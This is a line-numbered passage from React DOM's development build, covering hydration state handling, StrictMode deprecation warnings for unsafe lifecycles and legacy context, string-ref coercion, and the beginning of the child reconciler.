12544 if (shouldClientRenderOnMismatch(fiber)) {
12545 warnNonhydratedInstance(hydrationParentFiber, fiber);
12546 throwOnHydrationMismatch();
12547 } // If we can't hydrate this instance let's try the next one.
12548 // We use this as a heuristic. It's based on intuition and not data so it
12549 // might be flawed or unnecessary.
12550
12551
12552 nextInstance = getNextHydratableSibling(firstAttemptedInstance);
12553 var prevHydrationParentFiber = hydrationParentFiber;
12554
12555 if (!nextInstance || !tryHydrate(fiber, nextInstance)) {
12556 // Nothing to hydrate. Make it an insertion.
12557 insertNonHydratedInstance(hydrationParentFiber, fiber);
12558 isHydrating = false;
12559 hydrationParentFiber = fiber;
12560 return;
12561 } // We matched the next one, we'll now assume that the first one was
12562 // superfluous and we'll delete it. Since we can't eagerly delete it
12563 // we'll have to schedule a deletion. To do that, this node needs a dummy
12564 // fiber associated with it.
12565
12566
12567 deleteHydratableInstance(prevHydrationParentFiber, firstAttemptedInstance);
12568 }
12569 }
12570
12571 function prepareToHydrateHostInstance(fiber, rootContainerInstance, hostContext) {
12572
12573 var instance = fiber.stateNode;
12574 var shouldWarnIfMismatchDev = !didSuspendOrErrorDEV;
12575 var updatePayload = hydrateInstance(instance, fiber.type, fiber.memoizedProps, rootContainerInstance, hostContext, fiber, shouldWarnIfMismatchDev); // TODO: Type this specific to this type of component.
12576
12577 fiber.updateQueue = updatePayload; // If the update payload indicates that there is a change or if there
12578 // is a new ref we mark this as an update.
12579
12580 if (updatePayload !== null) {
12581 return true;
12582 }
12583
12584 return false;
12585 }
12586
12587 function prepareToHydrateHostTextInstance(fiber) {
12588
12589 var textInstance = fiber.stateNode;
12590 var textContent = fiber.memoizedProps;
12591 var shouldUpdate = hydrateTextInstance(textInstance, textContent, fiber);
12592
12593 if (shouldUpdate) {
12594 // We assume that prepareToHydrateHostTextInstance is called in a context where the
12595 // hydration parent is the parent host component of this host text.
12596 var returnFiber = hydrationParentFiber;
12597
12598 if (returnFiber !== null) {
12599 switch (returnFiber.tag) {
12600 case HostRoot:
12601 {
12602 var parentContainer = returnFiber.stateNode.containerInfo;
12603 var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
12604 didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, textContent, // TODO: Delete this argument when we remove the legacy root API.
12605 isConcurrentMode);
12606 break;
12607 }
12608
12609 case HostComponent:
12610 {
12611 var parentType = returnFiber.type;
12612 var parentProps = returnFiber.memoizedProps;
12613 var parentInstance = returnFiber.stateNode;
12614
12615 var _isConcurrentMode2 = (returnFiber.mode & ConcurrentMode) !== NoMode;
12616
12617 didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, textContent, // TODO: Delete this argument when we remove the legacy root API.
12618 _isConcurrentMode2);
12619 break;
12620 }
12621 }
12622 }
12623 }
12624
12625 return shouldUpdate;
12626 }
12627
12628 function prepareToHydrateHostSuspenseInstance(fiber) {
12629
12630 var suspenseState = fiber.memoizedState;
12631 var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;
12632
12633 if (!suspenseInstance) {
12634 throw new Error('Expected to have a hydrated suspense instance. ' + 'This error is likely caused by a bug in React. Please file an issue.');
12635 }
12636
12637 hydrateSuspenseInstance(suspenseInstance, fiber);
12638 }
12639
12640 function skipPastDehydratedSuspenseInstance(fiber) {
12641
12642 var suspenseState = fiber.memoizedState;
12643 var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;
12644
12645 if (!suspenseInstance) {
12646 throw new Error('Expected to have a hydrated suspense instance. ' + 'This error is likely caused by a bug in React. Please file an issue.');
12647 }
12648
12649 return getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance);
12650 }
12651
12652 function popToNextHostParent(fiber) {
12653 var parent = fiber.return;
12654
12655 while (parent !== null && parent.tag !== HostComponent && parent.tag !== HostRoot && parent.tag !== SuspenseComponent) {
12656 parent = parent.return;
12657 }
12658
12659 hydrationParentFiber = parent;
12660 }
12661
12662 function popHydrationState(fiber) {
12663
12664 if (fiber !== hydrationParentFiber) {
12665 // We're deeper than the current hydration context, inside an inserted
12666 // tree.
12667 return false;
12668 }
12669
12670 if (!isHydrating) {
12671 // If we're not currently hydrating but we're in a hydration context, then
12672 // we were an insertion and now need to pop up reenter hydration of our
12673 // siblings.
12674 popToNextHostParent(fiber);
12675 isHydrating = true;
12676 return false;
12677 } // If we have any remaining hydratable nodes, we need to delete them now.
12678 // We only do this deeper than head and body since they tend to have random
12679 // other nodes in them. We also ignore components with pure text content in
12680 // side of them. We also don't delete anything inside the root container.
12681
12682
12683 if (fiber.tag !== HostRoot && (fiber.tag !== HostComponent || shouldDeleteUnhydratedTailInstances(fiber.type) && !shouldSetTextContent(fiber.type, fiber.memoizedProps))) {
12684 var nextInstance = nextHydratableInstance;
12685
12686 if (nextInstance) {
12687 if (shouldClientRenderOnMismatch(fiber)) {
12688 warnIfUnhydratedTailNodes(fiber);
12689 throwOnHydrationMismatch();
12690 } else {
12691 while (nextInstance) {
12692 deleteHydratableInstance(fiber, nextInstance);
12693 nextInstance = getNextHydratableSibling(nextInstance);
12694 }
12695 }
12696 }
12697 }
12698
12699 popToNextHostParent(fiber);
12700
12701 if (fiber.tag === SuspenseComponent) {
12702 nextHydratableInstance = skipPastDehydratedSuspenseInstance(fiber);
12703 } else {
12704 nextHydratableInstance = hydrationParentFiber ? getNextHydratableSibling(fiber.stateNode) : null;
12705 }
12706
12707 return true;
12708 }
12709
12710 function hasUnhydratedTailNodes() {
12711 return isHydrating && nextHydratableInstance !== null;
12712 }
12713
12714 function warnIfUnhydratedTailNodes(fiber) {
12715 var nextInstance = nextHydratableInstance;
12716
12717 while (nextInstance) {
12718 warnUnhydratedInstance(fiber, nextInstance);
12719 nextInstance = getNextHydratableSibling(nextInstance);
12720 }
12721 }
12722
12723 function resetHydrationState() {
12724
12725 hydrationParentFiber = null;
12726 nextHydratableInstance = null;
12727 isHydrating = false;
12728 didSuspendOrErrorDEV = false;
12729 }
12730
12731 function upgradeHydrationErrorsToRecoverable() {
12732 if (hydrationErrors !== null) {
12733 // Successfully completed a forced client render. The errors that occurred
12734 // during the hydration attempt are now recovered. We will log them in
12735 // commit phase, once the entire tree has finished.
12736 queueRecoverableErrors(hydrationErrors);
12737 hydrationErrors = null;
12738 }
12739 }
12740
12741 function getIsHydrating() {
12742 return isHydrating;
12743 }
12744
12745 function queueHydrationError(error) {
12746 if (hydrationErrors === null) {
12747 hydrationErrors = [error];
12748 } else {
12749 hydrationErrors.push(error);
12750 }
12751 }
12752
12753 var ReactCurrentBatchConfig$1 = ReactSharedInternals.ReactCurrentBatchConfig;
12754 var NoTransition = null;
12755 function requestCurrentTransition() {
12756 return ReactCurrentBatchConfig$1.transition;
12757 }
12758
12759 var ReactStrictModeWarnings = {
12760 recordUnsafeLifecycleWarnings: function (fiber, instance) {},
12761 flushPendingUnsafeLifecycleWarnings: function () {},
12762 recordLegacyContextWarning: function (fiber, instance) {},
12763 flushLegacyContextWarning: function () {},
12764 discardPendingWarnings: function () {}
12765 };
12766
12767 {
12768 var findStrictRoot = function (fiber) {
12769 var maybeStrictRoot = null;
12770 var node = fiber;
12771
12772 while (node !== null) {
12773 if (node.mode & StrictLegacyMode) {
12774 maybeStrictRoot = node;
12775 }
12776
12777 node = node.return;
12778 }
12779
12780 return maybeStrictRoot;
12781 };
12782
12783 var setToSortedString = function (set) {
12784 var array = [];
12785 set.forEach(function (value) {
12786 array.push(value);
12787 });
12788 return array.sort().join(', ');
12789 };
12790
12791 var pendingComponentWillMountWarnings = [];
12792 var pendingUNSAFE_ComponentWillMountWarnings = [];
12793 var pendingComponentWillReceivePropsWarnings = [];
12794 var pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
12795 var pendingComponentWillUpdateWarnings = [];
12796 var pendingUNSAFE_ComponentWillUpdateWarnings = []; // Tracks components we have already warned about.
12797
12798 var didWarnAboutUnsafeLifecycles = new Set();
12799
12800 ReactStrictModeWarnings.recordUnsafeLifecycleWarnings = function (fiber, instance) {
12801 // Dedupe strategy: Warn once per component.
12802 if (didWarnAboutUnsafeLifecycles.has(fiber.type)) {
12803 return;
12804 }
12805
12806 if (typeof instance.componentWillMount === 'function' && // Don't warn about react-lifecycles-compat polyfilled components.
12807 instance.componentWillMount.__suppressDeprecationWarning !== true) {
12808 pendingComponentWillMountWarnings.push(fiber);
12809 }
12810
12811 if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillMount === 'function') {
12812 pendingUNSAFE_ComponentWillMountWarnings.push(fiber);
12813 }
12814
12815 if (typeof instance.componentWillReceiveProps === 'function' && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
12816 pendingComponentWillReceivePropsWarnings.push(fiber);
12817 }
12818
12819 if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
12820 pendingUNSAFE_ComponentWillReceivePropsWarnings.push(fiber);
12821 }
12822
12823 if (typeof instance.componentWillUpdate === 'function' && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
12824 pendingComponentWillUpdateWarnings.push(fiber);
12825 }
12826
12827 if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillUpdate === 'function') {
12828 pendingUNSAFE_ComponentWillUpdateWarnings.push(fiber);
12829 }
12830 };
12831
12832 ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings = function () {
12833 // We do an initial pass to gather component names
12834 var componentWillMountUniqueNames = new Set();
12835
12836 if (pendingComponentWillMountWarnings.length > 0) {
12837 pendingComponentWillMountWarnings.forEach(function (fiber) {
12838 componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12839 didWarnAboutUnsafeLifecycles.add(fiber.type);
12840 });
12841 pendingComponentWillMountWarnings = [];
12842 }
12843
12844 var UNSAFE_componentWillMountUniqueNames = new Set();
12845
12846 if (pendingUNSAFE_ComponentWillMountWarnings.length > 0) {
12847 pendingUNSAFE_ComponentWillMountWarnings.forEach(function (fiber) {
12848 UNSAFE_componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12849 didWarnAboutUnsafeLifecycles.add(fiber.type);
12850 });
12851 pendingUNSAFE_ComponentWillMountWarnings = [];
12852 }
12853
12854 var componentWillReceivePropsUniqueNames = new Set();
12855
12856 if (pendingComponentWillReceivePropsWarnings.length > 0) {
12857 pendingComponentWillReceivePropsWarnings.forEach(function (fiber) {
12858 componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12859 didWarnAboutUnsafeLifecycles.add(fiber.type);
12860 });
12861 pendingComponentWillReceivePropsWarnings = [];
12862 }
12863
12864 var UNSAFE_componentWillReceivePropsUniqueNames = new Set();
12865
12866 if (pendingUNSAFE_ComponentWillReceivePropsWarnings.length > 0) {
12867 pendingUNSAFE_ComponentWillReceivePropsWarnings.forEach(function (fiber) {
12868 UNSAFE_componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12869 didWarnAboutUnsafeLifecycles.add(fiber.type);
12870 });
12871 pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
12872 }
12873
12874 var componentWillUpdateUniqueNames = new Set();
12875
12876 if (pendingComponentWillUpdateWarnings.length > 0) {
12877 pendingComponentWillUpdateWarnings.forEach(function (fiber) {
12878 componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12879 didWarnAboutUnsafeLifecycles.add(fiber.type);
12880 });
12881 pendingComponentWillUpdateWarnings = [];
12882 }
12883
12884 var UNSAFE_componentWillUpdateUniqueNames = new Set();
12885
12886 if (pendingUNSAFE_ComponentWillUpdateWarnings.length > 0) {
12887 pendingUNSAFE_ComponentWillUpdateWarnings.forEach(function (fiber) {
12888 UNSAFE_componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12889 didWarnAboutUnsafeLifecycles.add(fiber.type);
12890 });
12891 pendingUNSAFE_ComponentWillUpdateWarnings = [];
12892 } // Finally, we flush all the warnings
12893 // UNSAFE_ ones before the deprecated ones, since they'll be 'louder'
12894
12895
12896 if (UNSAFE_componentWillMountUniqueNames.size > 0) {
12897 var sortedNames = setToSortedString(UNSAFE_componentWillMountUniqueNames);
12898
12899 error('Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' + '\nPlease update the following components: %s', sortedNames);
12900 }
12901
12902 if (UNSAFE_componentWillReceivePropsUniqueNames.size > 0) {
12903 var _sortedNames = setToSortedString(UNSAFE_componentWillReceivePropsUniqueNames);
12904
12905 error('Using UNSAFE_componentWillReceiveProps in strict mode is not recommended ' + 'and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + "* If you're updating state whenever props change, " + 'refactor your code to use memoization techniques or move it to ' + 'static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n' + '\nPlease update the following components: %s', _sortedNames);
12906 }
12907
12908 if (UNSAFE_componentWillUpdateUniqueNames.size > 0) {
12909 var _sortedNames2 = setToSortedString(UNSAFE_componentWillUpdateUniqueNames);
12910
12911 error('Using UNSAFE_componentWillUpdate in strict mode is not recommended ' + 'and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + '\nPlease update the following components: %s', _sortedNames2);
12912 }
12913
12914 if (componentWillMountUniqueNames.size > 0) {
12915 var _sortedNames3 = setToSortedString(componentWillMountUniqueNames);
12916
12917 warn('componentWillMount has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' + '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames3);
12918 }
12919
12920 if (componentWillReceivePropsUniqueNames.size > 0) {
12921 var _sortedNames4 = setToSortedString(componentWillReceivePropsUniqueNames);
12922
12923 warn('componentWillReceiveProps has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + "* If you're updating state whenever props change, refactor your " + 'code to use memoization techniques or move it to ' + 'static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n' + '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames4);
12924 }
12925
12926 if (componentWillUpdateUniqueNames.size > 0) {
12927 var _sortedNames5 = setToSortedString(componentWillUpdateUniqueNames);
12928
12929 warn('componentWillUpdate has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames5);
12930 }
12931 };
12932
12933 var pendingLegacyContextWarning = new Map(); // Tracks components we have already warned about.
12934
12935 var didWarnAboutLegacyContext = new Set();
12936
12937 ReactStrictModeWarnings.recordLegacyContextWarning = function (fiber, instance) {
12938 var strictRoot = findStrictRoot(fiber);
12939
12940 if (strictRoot === null) {
12941 error('Expected to find a StrictMode component in a strict mode tree. ' + 'This error is likely caused by a bug in React. Please file an issue.');
12942
12943 return;
12944 } // Dedup strategy: Warn once per component.
12945
12946
12947 if (didWarnAboutLegacyContext.has(fiber.type)) {
12948 return;
12949 }
12950
12951 var warningsForRoot = pendingLegacyContextWarning.get(strictRoot);
12952
12953 if (fiber.type.contextTypes != null || fiber.type.childContextTypes != null || instance !== null && typeof instance.getChildContext === 'function') {
12954 if (warningsForRoot === undefined) {
12955 warningsForRoot = [];
12956 pendingLegacyContextWarning.set(strictRoot, warningsForRoot);
12957 }
12958
12959 warningsForRoot.push(fiber);
12960 }
12961 };
12962
12963 ReactStrictModeWarnings.flushLegacyContextWarning = function () {
12964 pendingLegacyContextWarning.forEach(function (fiberArray, strictRoot) {
12965 if (fiberArray.length === 0) {
12966 return;
12967 }
12968
12969 var firstFiber = fiberArray[0];
12970 var uniqueNames = new Set();
12971 fiberArray.forEach(function (fiber) {
12972 uniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
12973 didWarnAboutLegacyContext.add(fiber.type);
12974 });
12975 var sortedNames = setToSortedString(uniqueNames);
12976
12977 try {
12978 setCurrentFiber(firstFiber);
12979
12980 error('Legacy context API has been detected within a strict-mode tree.' + '\n\nThe old API will be supported in all 16.x releases, but applications ' + 'using it should migrate to the new version.' + '\n\nPlease update the following components: %s' + '\n\nLearn more about this warning here: https://reactjs.org/link/legacy-context', sortedNames);
12981 } finally {
12982 resetCurrentFiber();
12983 }
12984 });
12985 };
12986
12987 ReactStrictModeWarnings.discardPendingWarnings = function () {
12988 pendingComponentWillMountWarnings = [];
12989 pendingUNSAFE_ComponentWillMountWarnings = [];
12990 pendingComponentWillReceivePropsWarnings = [];
12991 pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
12992 pendingComponentWillUpdateWarnings = [];
12993 pendingUNSAFE_ComponentWillUpdateWarnings = [];
12994 pendingLegacyContextWarning = new Map();
12995 };
12996 }
12997
12998 var didWarnAboutMaps;
12999 var didWarnAboutGenerators;
13000 var didWarnAboutStringRefs;
13001 var ownerHasKeyUseWarning;
13002 var ownerHasFunctionTypeWarning;
13003
13004 var warnForMissingKey = function (child, returnFiber) {};
13005
13006 {
13007 didWarnAboutMaps = false;
13008 didWarnAboutGenerators = false;
13009 didWarnAboutStringRefs = {};
13010 /**
13011 * Warn if there's no key explicitly set on dynamic arrays of children or
13012 * object keys are not valid. This allows us to keep track of children between
13013 * updates.
13014 */
13015
13016 ownerHasKeyUseWarning = {};
13017 ownerHasFunctionTypeWarning = {};
13018
13019 warnForMissingKey = function (child, returnFiber) {
13020 if (child === null || typeof child !== 'object') {
13021 return;
13022 }
13023
13024 if (!child._store || child._store.validated || child.key != null) {
13025 return;
13026 }
13027
13028 if (typeof child._store !== 'object') {
13029 throw new Error('React Component in warnForMissingKey should have a _store. ' + 'This error is likely caused by a bug in React. Please file an issue.');
13030 }
13031
13032 child._store.validated = true;
13033 var componentName = getComponentNameFromFiber(returnFiber) || 'Component';
13034
13035 if (ownerHasKeyUseWarning[componentName]) {
13036 return;
13037 }
13038
13039 ownerHasKeyUseWarning[componentName] = true;
13040
13041 error('Each child in a list should have a unique ' + '"key" prop. See https://reactjs.org/link/warning-keys for ' + 'more information.');
13042 };
13043 }
13044
13045 function isReactClass(type) {
13046 return type.prototype && type.prototype.isReactComponent;
13047 }
13048
13049 function coerceRef(returnFiber, current, element) {
13050 var mixedRef = element.ref;
13051
13052 if (mixedRef !== null && typeof mixedRef !== 'function' && typeof mixedRef !== 'object') {
13053 {
13054 // TODO: Clean this up once we turn on the string ref warning for
13055 // everyone, because the strict mode case will no longer be relevant
13056 if ((returnFiber.mode & StrictLegacyMode || warnAboutStringRefs) && // We warn in ReactElement.js if owner and self are equal for string refs
13057 // because these cannot be automatically converted to an arrow function
13058 // using a codemod. Therefore, we don't have to warn about string refs again.
13059 !(element._owner && element._self && element._owner.stateNode !== element._self) && // Will already throw with "Function components cannot have string refs"
13060 !(element._owner && element._owner.tag !== ClassComponent) && // Will already warn with "Function components cannot be given refs"
13061 !(typeof element.type === 'function' && !isReactClass(element.type)) && // Will already throw with "Element ref was specified as a string (someStringRef) but no owner was set"
13062 element._owner) {
13063 var componentName = getComponentNameFromFiber(returnFiber) || 'Component';
13064
13065 if (!didWarnAboutStringRefs[componentName]) {
13066 {
13067 error('Component "%s" contains the string ref "%s". Support for string refs ' + 'will be removed in a future major release. We recommend using ' + 'useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, mixedRef);
13068 }
13069
13070 didWarnAboutStringRefs[componentName] = true;
13071 }
13072 }
13073 }
13074
13075 if (element._owner) {
13076 var owner = element._owner;
13077 var inst;
13078
13079 if (owner) {
13080 var ownerFiber = owner;
13081
13082 if (ownerFiber.tag !== ClassComponent) {
13083 throw new Error('Function components cannot have string refs. ' + 'We recommend using useRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref');
13084 }
13085
13086 inst = ownerFiber.stateNode;
13087 }
13088
13089 if (!inst) {
13090 throw new Error("Missing owner for string ref " + mixedRef + ". This error is likely caused by a " + 'bug in React. Please file an issue.');
13091 } // Assigning this to a const so Flow knows it won't change in the closure
13092
13093
13094 var resolvedInst = inst;
13095
13096 {
13097 checkPropStringCoercion(mixedRef, 'ref');
13098 }
13099
13100 var stringRef = '' + mixedRef; // Check if previous string ref matches new string ref
13101
13102 if (current !== null && current.ref !== null && typeof current.ref === 'function' && current.ref._stringRef === stringRef) {
13103 return current.ref;
13104 }
13105
13106 var ref = function (value) {
13107 var refs = resolvedInst.refs;
13108
13109 if (value === null) {
13110 delete refs[stringRef];
13111 } else {
13112 refs[stringRef] = value;
13113 }
13114 };
13115
13116 ref._stringRef = stringRef;
13117 return ref;
13118 } else {
13119 if (typeof mixedRef !== 'string') {
13120 throw new Error('Expected ref to be a function, a string, an object returned by React.createRef(), or null.');
13121 }
13122
13123 if (!element._owner) {
13124 throw new Error("Element ref was specified as a string (" + mixedRef + ") but no owner was set. This could happen for one of" + ' the following reasons:\n' + '1. You may be adding a ref to a function component\n' + "2. You may be adding a ref to a component that was not created inside a component's render method\n" + '3. You have multiple copies of React loaded\n' + 'See https://reactjs.org/link/refs-must-have-owner for more information.');
13125 }
13126 }
13127 }
13128
13129 return mixedRef;
13130 }
13131
13132 function throwOnInvalidObjectType(returnFiber, newChild) {
13133 var childString = Object.prototype.toString.call(newChild);
13134 throw new Error("Objects are not valid as a React child (found: " + (childString === '[object Object]' ? 'object with keys {' + Object.keys(newChild).join(', ') + '}' : childString) + "). " + 'If you meant to render a collection of children, use an array ' + 'instead.');
13135 }
13136
13137 function warnOnFunctionType(returnFiber) {
13138 {
13139 var componentName = getComponentNameFromFiber(returnFiber) || 'Component';
13140
13141 if (ownerHasFunctionTypeWarning[componentName]) {
13142 return;
13143 }
13144
13145 ownerHasFunctionTypeWarning[componentName] = true;
13146
13147 error('Functions are not valid as a React child. This may happen if ' + 'you return a Component instead of <Component /> from render. ' + 'Or maybe you meant to call this function rather than return it.');
13148 }
13149 }
13150
13151 function resolveLazy(lazyType) {
13152 var payload = lazyType._payload;
13153 var init = lazyType._init;
13154 return init(payload);
13155 } // This wrapper function exists because I expect to clone the code in each path
13156 // to be able to optimize each path individually by branching early. This needs
13157 // a compiler or we can do it manually. Helpers that don't need this branching
13158 // live outside of this function.
13159
13160
13161 function ChildReconciler(shouldTrackSideEffects) {
13162 function deleteChild(returnFiber, childToDelete) {
13163 if (!shouldTrackSideEffects) {
13164 // Noop.
13165 return;
13166 }
13167
13168 var deletions = returnFiber.deletions;
13169
13170 if (deletions === null) {
13171 returnFiber.deletions = [childToDelete];
13172 returnFiber.flags |= ChildDeletion;
13173 } else {
13174 deletions.push(childToDelete);
13175 }
13176 }
13177
13178 function deleteRemainingChildren(returnFiber, currentFirstChild) {
13179 if (!shouldTrackSideEffects) {
13180 // Noop.
13181 return null;
13182 } // TODO: For the shouldClone case, this could be micro-optimized a bit by
13183 // assuming that after the first child we've already added everything.
13184
13185
13186 var childToDelete = currentFirstChild;
13187
13188 while (childToDelete !== null) {
13189 deleteChild(returnFiber, childToDelete);
13190 childToDelete = childToDelete.sibling;
13191 }
13192
13193 return null;
13194 }
13195
13196 function mapRemainingChildren(returnFiber, currentFirstChild) {
13197 // Add the remaining children to a temporary map so that we can find them by
13198 // keys quickly. Implicit (null) keys get added to this set with their index
13199 // instead.
13200 var existingChildren = new Map();
13201 var existingChild = currentFirstChild;
13202
13203 while (existingChild !== null) {
13204 if (existingChild.key !== null) {
13205 existingChildren.set(existingChild.key, existingChild);
13206 } else {
13207 existingChildren.set(existingChild.index, existingChild);
13208 }
13209
13210 existingChild = existingChild.sibling;
13211 }
13212
13213 return existingChildren;
13214 }
13215
13216 function useFiber(fiber, pendingProps) {
13217 // We currently set sibling to null and index to 0 here because it is easy
13218 // to forget to do before returning it. E.g. for the single child case.
13219 var clone = createWorkInProgress(fiber, pendingProps);
13220 clone.index = 0;
13221 clone.sibling = null;
13222 return clone;
13223 }
13224
13225 function placeChild(newFiber, lastPlacedIndex, newIndex) {
13226 newFiber.index = newIndex;
13227
13228 if (!shouldTrackSideEffects) {
13229 // During hydration, the useId algorithm needs to know which fibers are
13230 // part of a list of children (arrays, iterators).
13231 newFiber.flags |= Forked;
13232 return lastPlacedIndex;
13233 }
13234
13235 var current = newFiber.alternate;
13236
13237 if (current !== null) {
13238 var oldIndex = current.index;
13239
13240 if (oldIndex < lastPlacedIndex) {
13241 // This is a move.
13242 newFiber.flags |= Placement;
13243 return lastPlacedIndex;
13244 } else {
13245 // This item can stay in place.
13246 return oldIndex;
13247 }
13248 } else {
13249 // This is an insertion.
13250 newFiber.flags |= Placement;
13251 return lastPlacedIndex;
13252 }
13253 }
13254
13255 function placeSingleChild(newFiber) {
13256 // This is simpler for the single child case. We only need to do a
13257 // placement for inserting new children.
13258 if (shouldTrackSideEffects && newFiber.alternate === null) {
13259 newFiber.flags |= Placement;
13260 }
13261
13262 return newFiber;
13263 }
13264
13265 function updateTextNode(returnFiber, current, textContent, lanes) {
13266 if (current === null || current.tag !== HostText) {
13267 // Insert
13268 var created = createFiberFromText(textContent, returnFiber.mode, lanes);
13269 created.return = returnFiber;
13270 return created;
13271 } else {
13272 // Update
13273 var existing = useFiber(current, textContent);
13274 existing.return = returnFiber;
13275 return existing;
13276 }
13277 }
13278
13279 function updateElement(returnFiber, current, element, lanes) {
13280 var elementType = element.type;
13281
13282 if (elementType === REACT_FRAGMENT_TYPE) {
13283 return updateFragment(returnFiber, current, element.props.children, lanes, element.key);
13284 }
13285
13286 if (current !== null) {
13287 if (current.elementType === elementType || ( // Keep this check inline so it only runs on the false path:
13288 isCompatibleFamilyForHotReloading(current, element) ) || // Lazy types should reconcile their resolved type.
13289 // We need to do this after the Hot Reloading check above,
13290 // because hot reloading has different semantics than prod because
13291 // it doesn't resuspend. So we can't let the call below suspend.
13292 typeof elementType === 'object' && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === current.type) {
13293 // Move based on index
13294 var existing = useFiber(current, element.props);
13295 existing.ref = coerceRef(returnFiber, current, element);
13296 existing.return = returnFiber;
13297
13298 {
13299 existing._debugSource = element._source;
13300 existing._debugOwner = element._owner;
13301 }
13302
13303 return existing;
13304 }
13305 } // Insert
13306
13307
13308 var created = createFiberFromElement(element, returnFiber.mode, lanes);
13309 created.ref = coerceRef(returnFiber, current, element);
13310 created.return = returnFiber;
13311 return created;
13312 }
13313
13314 function updatePortal(returnFiber, current, portal, lanes) {
13315 if (current === null || current.tag !== HostPortal || current.stateNode.containerInfo !== portal.containerInfo || current.stateNode.implementation !== portal.implementation) {
13316 // Insert
13317 var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
13318 created.return = returnFiber;
13319 return created;
13320 } else {
13321 // Update
13322 var existing = useFiber(current, portal.children || []);
13323 existing.return = returnFiber;
13324 return existing;
13325 }
13326 }
13327
13328 function updateFragment(returnFiber, current, fragment, lanes, key) {
13329 if (current === null || current.tag !== Fragment) {
13330 // Insert
13331 var created = createFiberFromFragment(fragment, returnFiber.mode, lanes, key);
13332 created.return = returnFiber;
13333 return created;
13334 } else {
13335 // Update
13336 var existing = useFiber(current, fragment);
13337 existing.return = returnFiber;
13338 return existing;
13339 }
13340 }
13341
13342 function createChild(returnFiber, newChild, lanes) {
13343 if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
13344 // Text nodes don't have keys. If the previous node is implicitly keyed
13345 // we can continue to replace it without aborting even if it is not a text
13346 // node.
13347 var created = createFiberFromText('' + newChild, returnFiber.mode, lanes);
13348 created.return = returnFiber;
13349 return created;
13350 }
13351
13352 if (typeof newChild === 'object' && newChild !== null) {
13353 switch (newChild.$$typeof) {
13354 case REACT_ELEMENT_TYPE:
13355 {
13356 var _created = createFiberFromElement(newChild, returnFiber.mode, lanes);
13357
13358 _created.ref = coerceRef(returnFiber, null, newChild);
13359 _created.return = returnFiber;
13360 return _created;
13361 }
13362
13363 case REACT_PORTAL_TYPE:
13364 {
13365 var _created2 = createFiberFromPortal(newChild, returnFiber.mode, lanes);
13366
13367 _created2.return = returnFiber;
13368 return _created2;
13369 }
13370
13371 case REACT_LAZY_TYPE:
13372 {
13373 var payload = newChild._payload;
13374 var init = newChild._init;
13375 return createChild(returnFiber, init(payload), lanes);
13376 }
13377 }
13378
13379 if (isArray(newChild) || getIteratorFn(newChild)) {
13380 var _created3 = createFiberFromFragment(newChild, returnFiber.mode, lanes, null);
13381
13382 _created3.return = returnFiber;
13383 return _created3;
13384 }
13385
13386 throwOnInvalidObjectType(returnFiber, newChild);
13387 }
13388
